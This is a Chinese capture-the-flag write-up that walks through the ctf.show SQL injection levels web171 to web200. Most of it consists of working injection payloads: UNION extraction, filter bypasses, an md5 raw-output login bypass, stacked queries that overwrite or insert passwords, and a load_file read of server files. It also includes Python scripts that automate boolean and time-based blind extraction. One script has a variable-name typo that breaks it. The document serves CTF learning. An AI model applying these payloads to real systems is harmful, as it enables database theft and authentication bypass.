- web171-联合注入
- web172-字符串全匹配限制
- web173-字符串部分匹配限制
- web174-真假回显
- web175-无回显
- web 176-关键字过滤
- web 177-空格、#过滤
- ">号、空格被过滤,用%23替换#号,用/**/(tab的url编码)替换空格
- 被彻底禁止了,只能用’1’=’1来闭合
1’%0cand%0c1=2%0cunion%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0c’1’=’1- web 181-空格、#过滤
- web 182-空格、#过滤
- web 183-count(*)爆破字段内容
- web 184-count(*)爆破字段内容,过滤where、引号
- web 185-186-count(*)爆破字段内容,过滤数字
- web 187-md5($_POST[‘password’],true);
- web 188-弱类型比较
- web 189-盲注、读文件
- web 190-布尔盲注
- web 191-192-布尔盲注、过滤ascii、ord
- web 193-布尔盲注、过滤substr
- web 194-布尔盲注,过滤char
- web 195-堆叠注入
- web 196-堆叠注入
- web 197-198-堆叠注入,过滤update,create
- web 199-200-堆叠注入,show tables
web171-联合注入
初步判断为字符型注入
查看列数,4的时候报错,故为3列
1’ order by 3—+
查看显示位
1’ and 1=2 union select 1,2,3—+
查表名
1’ and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()—+
查列名
1’ and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’ctfshow_user’—+
1’ and 1=2 union select 1,group_concat(username),group_concat(password) from ctfshow_user—+
在最后一条记录里找到flag
web172-字符串全匹配限制
显示内容等于’flag’则过滤掉
//检查结果是否有flag
if($row->username!==’flag’) { $ret[‘msg’]=’查询成功’;
}
与上题相比发现仅两处显示,flag在ctfshow_user2中
1’ order by 2—+
1’ and 1=2 union select 1,2—+
1’ and 1=2 union select 2,group_concat(table_name) from information_schema.tables where table_schema=database()—+
1’ and 1=2 union select 2,group_concat(column_name) from information_schema.columns where table_name=’ctfshow_user2’—+
本题考察点是过滤掉字符串等于’flag’的内容,但使用group_concat函数后,username是一个用户集合组成的字符串,不等于’flag’
1’ and 1=2 union select group_concat(username),group_concat(password) from ctfshow_user2 —+
当然,直接显示username更简单
1’ and 1=2 union select 2,password from ctfshow_user2 —+
web173-字符串部分匹配限制
本题返回结果中过滤掉flag字符串
//检查结果是否有flag
if(!preg_match(‘/flag/i’, json_encode($ret))) {
$ret[‘msg’]=’查询成功’;
}
由上题可知username=flag对应的password是正确的结果,但本题显示字符串中存在与’flag’相匹配的字符串即过滤掉,所以group_concat函数无法绕过;
可考虑对username字段加hex函数,以十六进制显示
1’ and 1=2 union select 1,group_concat(hex(username)),group_concat(password) from ctfshow_user3 —+
当然,直接显示username更简单
1’ and 1=2 union select 1,2,group_concat(password) from ctfshow_user3 —+
web174-真假回显
显示内容过滤掉flag以及数字
//检查结果是否有flag
if(!preg_match(‘/flag|[0-9]/i’, json_encode($ret))) { $ret[‘msg’]=’查询成功’;
}
因为不能限制0-9的数字,查看显示位时换成字母’a’,’b’
1’ and 1=2 union select ‘a’,’b’—+
方法一 字符替换
使用replace函数将限制的字符替换掉
1’ and 1=2 union select ‘b’,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,’flag’,’zzzz’),’0’,’A’),’1’,’B’),’2’,’C’),’3’,’D’),’4’,’E’),’5’,’F’),’6’,’G’),’7’,’H’),’8’,’I’),’9’,’J’) from ctfshow_user4 where username=’flag’—+
得到替换后的flag字符串,ctfshow{AHEGAIBF-HCDe-ECBE-acJB-fFGGbeHbbIaA}
如果担心原flag中包含大写字母,可以将数字都替换成号
1’ and 1=2 union select ‘b’,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,’flag’,’zzzz’),’0’,’‘),’1’,’‘),’2’,’‘),’3’,’‘),’4’,’‘),’5’,’‘),’6’,’‘),’7’,’‘),’8’,’‘),’9’,’*’) from ctfshow_user4 where username=’flag’—+
ctfshow{**-e-*-ac-f*bebba*}替换位置一致,说明原flag中并无大写字母
然后还原即可ctfshow{07460815-723e-4214-ac91-f566be7bb8a0}
str = 'ctfshow{AHEGAIBF-HCDe-ECBE-acJB-fFGGbeHbbIaA}'
flag = ''
for s in str:
if s >= 'A' and s <= 'J':
s = chr(ord(s) - 17)
print(s)
flag += s
print(flag)
方法二 布尔盲注
当输入为真时 显示admin,为假时则无输出,可以通过判断是否输出admin作为真假的依据
burp抓包查看到get请求
#coding:utf-8
import requests
session=requests.session()
url="http://2e364a15-ceb4-4ac7-9996-cdd6a45480cb.challenge.ctf.show//api/v4.php?id=1' "
flag=''
for i in range(1,50):
print(i)
for j in range(38,128):#38 128
#跑库名 ctfshow_web
#mid函数用于获取字符串的一部分 MID(column_name,start[,length])
# payload="and case ord(mid(database() from {0} for 1)) when {1} then 1 else 0 end--+".format(i, j)
#跑表名 ctfshow_user4
# payload = "and case ord(mid((select group_concat(table_name) from information_schema.tables \
# where table_schema=database()) from {0} for 1)) when {1} then 1 else 0 end--+".format(i, j)
#跑列名 id,username,password
# payload = "and case ord(mid((select group_concat(column_name) from information_schema.columns \
# where table_name='ctfshow_user4') from {0} for 1)) when {1} then 1 else 0 end--+".format(i, j)
#跑flag
payolad = "and case ord(mid((select password from ctfshow_user4 where username='flag') from {0} for 1)) when {1} then 1 else 0 end--+".format(i, j)
r = session.get(url=url + payload)
# 当爆出完整的名称后自动停止程序,127非打印字符,当爆破完整名称后下一个字符j会到127故退出程序
if j==127:
exit()
# 题中如果正确返回 admin,故判断admin在返回字符串中表示爆出对应字符,次循环跳出
if "admin" in r.text:
flag+=chr(j)
print(flag)
break
web175-无回显
ascii码表中字符全限制
//检查结果是否有flag
if(!preg_match(‘/[\x00-\x7f]/i’, json_encode($ret))) { $ret[‘msg’]=’查询成功’;
}
通过测试发现可以使用时间盲注
1’ and if(1=1,sleep(3),1)—+
1’ and if(1=0,sleep(3),1)—+
方法一 时间盲注
二分法时间盲注脚本
import requests
import time
url = "http://ae093e25-c4fc-4bad-9208-e70a334d4ac4.challenge.ctf.show/api/v5.php?id=1' and "
result = ''
for i in range(1,50):
head = 32
tail = 127
while head < tail:
mid = (head + tail) // 2
#跑库名
# payload = '1=if(ord(mid(database() from {0} for 1))>{1},sleep(2),1) --+'.format(i, mid)
# 跑表名
# payload = "1=if(ord(mid((select group_concat(table_name) from information_schema.tables \
# where table_schema=database()) from {0} for 1))>{1},sleep(2),1) --+".format(i, mid)
# 跑列名
# payload = "1=if(ord(mid((select group_concat(column_name) from information_schema.columns \
# where table_name='ctfshow_user5') from {0} for 1))>{1},sleep(2),1) --+".format(i, mid)
# 跑flag
payload = "1=if(ord(mid((select password from ctfshow_user5 where username='flag') from {0} for 1))>{1},sleep(2),1) --+".format(i, mid)
start_time = time.time()
r = requests.get(url + payload)
end_time = time.time()
if end_time - start_time > 1.5:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
方法二 outfile写入文件
可以考虑写入文件的方式输出
1’ union select username,password from ctfshow_user5 into outfile ‘/var/www/html/w123.txt’—+
在读取文件可看到输出结果
web 176-关键字过滤
该题对union select等关键字做了过滤,通过大写字母绕过
1’ and 1=2 Union Select 1,group_concat(username),group_concat(password) from ctfshow_user—+
web 177-空格、#过滤
号、空格被过滤,用%23替换#号,用/**/(tab的url编码)替换空格
![image.png](/uploads/projects/wan1i@rhnk7e/58a64a110c20b7c23ddf2839390a8b97.png)
1’//and//1=2//union//select//1,group_concat(username),group_concat(password)//from/**/ctfshow_user%23
web 178-空格、#过滤
(1)/**/替换空格失效后
(2)用url编码替换即可 %09 %0a %0b %0c %0d
1’%09and%091=2%09union%09select%091,group_concat(username),group_concat(password)%09from%09ctfshow_user%23
(3)用括号替换空格
1’union(select(1),2,(group_concat(password))from(ctfshow_user))%23
web 179-空格、#过滤
(1)%0c替换空格可行,其余均无效
(2)万能密码 1’or’1’=’1’%23
web 180-空格、#过滤
被彻底禁止了,只能用’1’=’1来闭合
1’%0cand%0c1=2%0cunion%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0c’1’=’1
学习大神的wp
‘or(id=26)and’1’=’1
与原sql拼接为
where username !=’flag’ and id = ‘’or(id=26)and’1’=’1’ limit 1;
由于and的优先级大于or
where (username !=’flag’ and id = ‘’) or ((id=26)and’1’=’1’) limit 1;
web 181-空格、#过滤
//对传入的参数进行了过滤
function waf($str) {
return preg_match(‘/ |*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|#|file|into|select/i’, $str);
}
(1)构造恒等式,999是想查看最后一条记录
999’%0cor%0cusername=’flag
构造后的完整sql语句为:
select id,username,password from ctfshow_user where username !=’flag’ and id = ‘999’%0cor%0cusername=’flag’ limit 1;
(2)使用无空格一句话绕过
‘or(id=26)and’1’=’1
web 182-空格、#过滤
//对传入的参数进行了过滤
function waf($str) { return preg_match(‘/ |*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|#|file|into|select|flag/i’, $str);
}
(1)构造恒等式,在上题的基础上过滤了字符串flag,使用like替换=
999’%0cor%0cusername%0clike%0c’fla%
构造后的完整sql语句为:
select id,username,password from ctfshow_user where username !=’flag’ and id = ‘999’%0cor%0cusername%0clike%0c’fla%’ limit 1;
(2)使用无空格一句话绕过
‘or(id=26)and’1’=’1
web 183-count(*)爆破字段内容
查询语句
//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";"; # 说明是post传参,只能查询出pass字段内容的字符长度
返回逻辑
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}
查询结果
//返回用户表的记录总数
$user_count = 0; # 存在的情况下则返回非零
根据题意,应该是考察盲注-字段内容爆破
先在hackbar中构造payload验证一下:
根据前面的题目知道存在在ctfshow_user表中,就直接用了
过滤了空格,可使用反引号`进行分割
然后编写盲注脚本跑出结果
#encoding: utf-8
import requests
import time
# 存在sql注入的页面地址
url = "http://0d5362e0-13de-4384-9ca6-e6773a6567d9.challenge.ctf.show/select-waf.php"
# 字典
words = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
# 最终被爆出的内容
flag = ""
# 第一个循环设置需爆破的字符串内容长度
for i in range(0,25):
print(i)
for j in words:
payload = "`ctfshow_user`where`pass`regexp(\"ctfshow{0}\")"
data = {
"tableName":payload.format(flag+j)
}
r = requests.post(url, data=data)
time.sleep(0.3) # 设置短暂休眠,从而控制每秒发送不超过5个请求
# find() 如果包含子字符串返回开始的索引值,否则返回-1
# 判断页面返回内容是否包含"user_count = 1;"
if r.text.find("user_count = 1;")>0:
flag += j
print(flag)
break
web 184-count(*)爆破字段内容,过滤where、引号
查询语句
//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";"; # 说明是post传参,只能查询出pass字段内容的字符长度
返回逻辑
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
查询结果
//返回用户表的记录总数
$user_count = 0; # 存在的情况下则返回非零
在上题的基础上,改变了过滤的字符:
空格不过滤了,过滤where,’,”,`,那么关键在于找到替换where的方法
having替换where
原表
having筛选后
如果有聚合函数,需要group by指定分组字段
right join on替换where
由于on后面也能接筛选条件,便可利用这一特性替换where做筛选,然后通过结果集的条数不同进行判断
value=123存在
value=555不存在
十六进制数代替字符串
原语句中regexp(“ctfshow”),双引号被过滤了,可将字符串转成十六进制数regexp(0x63746673686f77)
在hackbar中尝试payload是否正确
tableName=ctfshow_user group by pass having pass regexp(0x63746673686f77)
或者
tableName=ctfshow_user as a right join ctfshow_user as b on b.pass regexp(0x63746673686f77)
然后直接在上一个脚本修改payload即可
#encoding: utf-8
import requests
import time
# 存在sql注入的页面地址
url = "http://627ef1b6-8e48-427e-9df3-2dc86f8d0e09.challenge.ctf.show/select-waf.php"
# 字典
words = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
# 最终被爆出的内容
flag = "ctfshow{"
# 第一个循环设置需爆破的字符串内容长度
for i in range(0,50):
print(i)
for j in words:
payload = "ctfshow_user group by pass having pass regexp({0})"
# payload = "ctfshow_user as a right join ctfshow_user as b on b.pass regexp({0})" # user_count = 43;
hexflag = hex(int.from_bytes(str.encode(flag+j), 'big'))
data = {
"tableName":payload.format(hexflag)
}
r = requests.post(url, data=data)
time.sleep(0.3) # 设置短暂休眠,从而控制每秒发送不超过5个请求
# find() 如果包含子字符串返回开始的索引值,否则返回-1
# 判断页面返回内容是否包含"user_count = 1;"
if r.text.find("user_count = 1;")>0:
flag += j
print(flag)
break
逐字符判断,存在问题不能唯一定位包含flag的记录,导致输出多余的字符
payload = “ctfshow_user as a right join ctfshow_user as b on substr(b.pass,{0},{1}) regexp(char({2}))”.format(i, 1, j) payload = “ctfshow_user group by pass having substr(pass,{0},{1}) regexp(char({2}))”.format(i, 1, j)
为避免这一问题可用固定头+逐字符结合的方式来定位
如:
ctfshow{a
ctfshow{f
ctfshow{}
payload调整为:
payload = “ctfshow_user as a right join ctfshow_user as b on concat(char(99,116,102,115,104,111,119,123),substr(b.pass,{0},{1})) regexp(concat(char(99,116,102,115,104,111,119,123),char({2})))”.format(i, 1, j)
char(99,116,102,115,104,111,119,123) => ctfshow{
web 185-186-count(*)爆破字段内容,过滤数字
返回逻辑
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
在上题的基础上进一步限制了数字,所以十六进制的方式也失效了,需要找到替换数字的方法
mysql中false表示0,true表示1
true+true叠加可构造其他数字
也可结合concat函数可构造多位数
先验证payload是否可用
tableName=ctfshow_user group by pass having substr(pass,true,true) regexp(char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true))
集合184逐字符验证的脚本,将数字替换成true即可
#encoding: utf-8
import requests
import time
# 存在sql注入的页面地址
url = "http://e60ab946-1fc5-48ad-a297-82d1fd640906.challenge.ctf.show/select-waf.php"
words = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
# 最终被爆出的内容
flag = "ctfshow{"
# 数字替换true
def tNum(n):
num = 'true'
if n == 1:
return num
else:
for i in range(n - 1):
num += "+true"
return num
# 字符串索引
for i in range(9,50):
print(i)
# ascii码
for k in words:
j = ord(k)
payload = "ctfshow_user group by pass having concat(char({3},{4},{5},{6},{7},{8},{9},{10}),substr(pass,{0},{1})) \
regexp(concat(char({3},{4},{5},{6},{7},{8},{9},{10}),char({2})))"
data = {
"tableName": payload.format(tNum(i), tNum(1), tNum(j), tNum(99),tNum(116),tNum(102),tNum(115),tNum(104),tNum(111),tNum(119),tNum(123))
}
#print(data)
r = requests.post(url, data=data)
time.sleep(0.3) # 设置短暂休眠,从而控制每秒发送不超过5个请求
# find() 如果包含子字符串返回开始的索引值,否则返回-1
# 判断页面返回内容是否包含"user_count = 1;"
if r.text.find("user_count = 1;")>0:
flag += chr(j)
print(flag)
web 187-md5($_POST[‘password’],true);
查询语句
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";
返回逻辑
$username = $_POST['username'];
$password = md5($_POST['password'],true);
//只有admin可以获得flag
if($username!='admin'){
$ret['msg']='用户名不存在';
die(json_encode($ret));
}
分析:
题目以及给定username必须为admin,那么注入点就在password中,希望能构造出password = 恒真的语句,但是password需经过md5函数处理,也就是说处理后的md5编码被mysql解析后的字符串应该是个恒真条件
网上直接找了个满足条件的字符串:ffifdyop
原字符串:ffifdyop
MD5加密:276f722736c95d99e921722cf9ed621c
将以上字符串看作16位hex编码,再转字符串得到'or'6�]��!r,��b
那么查询语句变成
select count(*) from ctfshow_user where username = ‘admin’ and password= ‘’or’6�]��!r,��b’
or的后面有值,则为真
抓包后获得flag
web 188-弱类型比较
查询语句
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username}";
返回逻辑
//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}
第一步:查询语句中 username = {$username} 没有引号保护,可以弱类型比较的特性:字符串和数值作比较,字符串会转换成数值,弱以字符开头,则为0,以数字开头则等于对应数字
‘admin’ ——>0
‘3admin’——>3
如下原表:
由于username都是以字符开头,在转换成数值后均看作0,因此可以输出结果
第二步,代码审计后,可以看出需要突破$row[‘pass’]==intval($password),==明显是弱类型比较的问题。intval()函数是获取变量的整数值,相当于把输入的字符串转换成数值。
本题应该存在0开头的密码,输入0后尝试成功
payload:
username=1||1&password=0
username=0&password=0
web 189-盲注、读文件
hint:flag在api/index.php文件中
根据提示应该是要读取api/index.php这个文件
查询语句
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username}";
返回逻辑
//用户名检测
if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
根据上题可知username应该等于0,密码判断缺少了intval函数,无法转换成数值,考虑盲注
用户名输入0,密码随便输一个,提示密码错误
用户名输入1,提示查询失败
通过返回值的差异,可尝试布尔盲注
构造payload
猜测index.php的第一个字符,我们知道第一个字符是”<”,正确则设置为1,提示查询失败,否则提示密码错误
if(substr(load_file(‘/var/www/html/api/index.php’),1,1)=’<’,1,0)
该方法需要从第一个字符开始爆破直至找到flag,时间花费比较多;题目已提示flag在index.php中,猜测先找到“flag”的位置,再定位爆破
if(locate(‘flag’,load_file(‘/var/www/html/api/index.php’))>258,0,1)
可知flag在257的位置,大概从这个范围爆破即可
#encoding: utf-8
import requests
import time
# 存在sql注入的页面地址
url = "http://30c0bf76-ea39-43c2-9a7b-d8c441bd0cff.challenge.ctf.show/api/"
# 字典
words = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
# 最终被爆出的内容
flag = ""
# 第一个循环设置需爆破的字符串内容长度
for i in range(257,257+60):
print(i)
for j in words:
payload = "if(substr(load_file('/var/www/html/api/index.php'),{0},1)='{1}',1,0)"
data = {
"username":payload.format(i, j),
"password":2
}
r = requests.post(url, data=data)
time.sleep(0.3) # 设置短暂休眠,从而控制每秒发送不超过5个请求
if r.text.find("u8d25")>0:
flag += j
print(flag)
break
web 190-布尔盲注
hint:不饿,音译是布尔,可知需使用布尔盲注
查询语句
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";
返回逻辑
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
//TODO:感觉少了个啥,奇怪
通过尝试发现用户名存在注入点,进而可以爆破出表名,列名和内容
import requests
import time
url = "http://e6147eee-a02e-4548-a589-db6e03a4a912.challenge.ctf.show/api/"
result = ''
for i in range(1,50):
print("--------------{0}-------------".format(i))
head = 32
tail = 127
while head < tail:
mid = (head + tail) // 2
# 跑表名 ctfshow_fl0g
#payload = "admin' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)#"
# 跑列名 id,f1ag
#payload = "admin' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{0},1))>{1},1,0)#"
# 跑flag
payload = "admin' and if(ascii(substr((select f1ag from ctfshow_fl0g),{0},1))>{1},1,0)#"
data = {
"username": payload.format(i, mid),
"password": 2
}
r = requests.post(url, data=data)
if "u8bef" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
web 191-192-布尔盲注、过滤ascii、ord
由于过滤了ascii、ord等,上题脚本修改payload即可
payload = “admin’ and if(substr((select f1ag from ctfshow_fl0g),{0},1)>char({1}),1,0)#”
web 193-布尔盲注、过滤substr
在上题的基础上进一步过滤的substr,可以使用函数mid代替
MID(column_name,start[,length])
也可写为
MID(column_name from start [for length])
另一个知识点,由于mysql做字符串比较时不区分大小写,所以”a”=”a”和”A”=”a”结果一致
需要在”A”=”a”前加上binary
select if(‘A’=’a’,1,0) as b; —1
select if(binary ‘A’=’a’,1,0) as b; —0
BINARY不是函数,是类型转换运算符,它用来强制它后面的字符串为一个二进制字符串,可以理解为在字符串比较的时候区分大小写
payload更新为
payload = “admin’ and if(binary mid((select f1ag from ctfshow_flxg),{0},1)>char({1}),1,0)#”
web 194-布尔盲注,过滤char
返回逻辑
//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
char函数也被过滤了,直接把字典改成字符串
payload = “admin’ and if(binary mid((select f1ag from ctfshow_flxg) from {0} for 1)=’{1}’,1,0)#”
过滤=,用regexp代替
payload = “admin’ and if(binary mid((select f1ag from ctfshow_flxg) from {0} for 1) regexp(‘{1}’),1,0)#”
使用locate
payload = “admin’ and if(locate(‘{1}’,binary mid((select f1ag from ctfshow_flxg),{0},1))=1,1,0)#”
#coding:utf-8
import requests
session=requests.session()
url="http://3d5a32df-cba2-4892-a7be-0057454036d1.challenge.ctf.show/api/"
words = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag='ctfshow{'
for i in range(1,50):
print(i)
for j in words:
# payload = "admin' and if(binary mid((select f1ag from ctfshow_flxg) from {0} for 1)='{1}',1,0)#"
# 过滤=,用regexp代替
# payload = "admin' and if(binary mid((select f1ag from ctfshow_flxg) from {0} for 1) regexp('{1}'),1,0)#"
# 使用locate
payload = "admin' and if(locate('{1}',binary mid((select f1ag from ctfshow_flxg),{0},1))=1,1,0)#"
data = {
"username": payload.format(i, j),
"password": 2
}
r = requests.post(url, data=data)
if "u8bef" in r.text:
flag+=j
print(flag)
break
web 195-堆叠注入
查询语句
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";
返回逻辑
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}
分析可知要求输入的密码与数据库中密码相匹配
使用堆叠注入把密码全给改为123,然后正常登录即可
payload:0x61646d696e;updatectfshow_user
setpass
=0x313233
即
admin; update ctfshow_user set pass=123
需要字符串绕过
空格 ——>``
双引号和单引号——>hex编码
以下两个语句等价
select from test2 where uname=’ls’;
select from test2 where uname=0x6c73;
web 196-堆叠注入
在上题的基础上限制了username的长度小于16
用户名:1;select(1)
密码:1
原理:当没有指定记录的之后,仅显示select(1)的内容
select * from temp where username=’a’;select(1);
web 197-198-堆叠注入,过滤update,create
查询语句
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";
返回逻辑
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}
解题思路跟web 195一样,把指定的用户名、密码写入ctfshow_user表中,但是update和set均被过滤,需要考虑其他的方法。
题目提示了username可以很长,插入一条我们需要的数据即可
payload:
0;insert ctfshow_user(
username
,pass
) value(1,2),(2,3)
补充mysql插入语句的几种方法:
insert temp2(username, pass) value(21,11),(22,22),(23,33);
insert temp2(username, pass) values(21,11),(22,22),(23,33);
insert into temp2(username, pass) value(31,11),(32,22),(33,33);
insert into temp2(username, pass) values(41,11),(42,22),(43,33);
insert into temp2 values(71,11),(72,22);
insert into temp2 value(81,11),(82,22);
insert into temp2 set username=51, pass=11;
insert temp2 set username=61, pass=11;
web 199-200-堆叠注入,show tables
与web 196原理一样,前面条件查询不到数据,仅显示show tables的内容,而ctfshow_user是我们已知的表名作为密码
payload:
0;show tables; ctfshow_user